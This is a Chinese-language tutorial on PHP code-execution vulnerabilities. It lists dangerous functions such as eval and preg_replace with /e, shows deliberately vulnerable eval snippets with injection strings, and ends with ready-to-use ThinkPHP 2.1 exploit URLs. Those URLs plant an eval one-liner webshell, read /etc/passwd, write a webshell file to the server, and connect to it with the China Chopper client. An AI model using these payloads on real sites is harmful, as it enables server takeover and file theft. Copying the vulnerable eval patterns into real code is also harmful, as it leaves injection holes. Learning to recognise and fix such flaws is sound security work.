漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。

常见代码注射函数:

  如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数  

漏洞危害:执行代码,写入webshell、控制服务器

代码示例一:



<?php 
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>



代码示例二:



<?php 
//?cmd=${phpinfo()} 
$str=$_GET['cmd'];
eval('$str="'.$str.'";');
?>



php 代码可以这样在双引号中被执行

代码示例三:



<?php 
//?cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>



代码示例四:preg_replace函数



<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等价于
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>



 

参考:

慎用preg_replace危险的/e修饰符(一句话后门常用)

http://www.jb51.net/article/38714.htm

 

 

Thinkphp框架任意代码执行漏洞利用



# 一般找CMS相应版本漏洞,如ThinkPHP2.1 * 一句话



http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}} * 得到当前路径



http://www.xxx.com/News/detail/id/{${print(getcwd()))}} * 读文件



http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}} POST的数据为:f=/etc/passwd * 写shell http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}} POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>



 



直接执行一句话代码,然后用菜刀直接连接



http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s



 

参考文章:

代码执行漏洞  http://www.jianshu.com/p/3f0cf18adbe7

PHP漏洞全解(详细介绍) http://www.jb51.net/article/31898.htm

PHP代码执行漏洞总结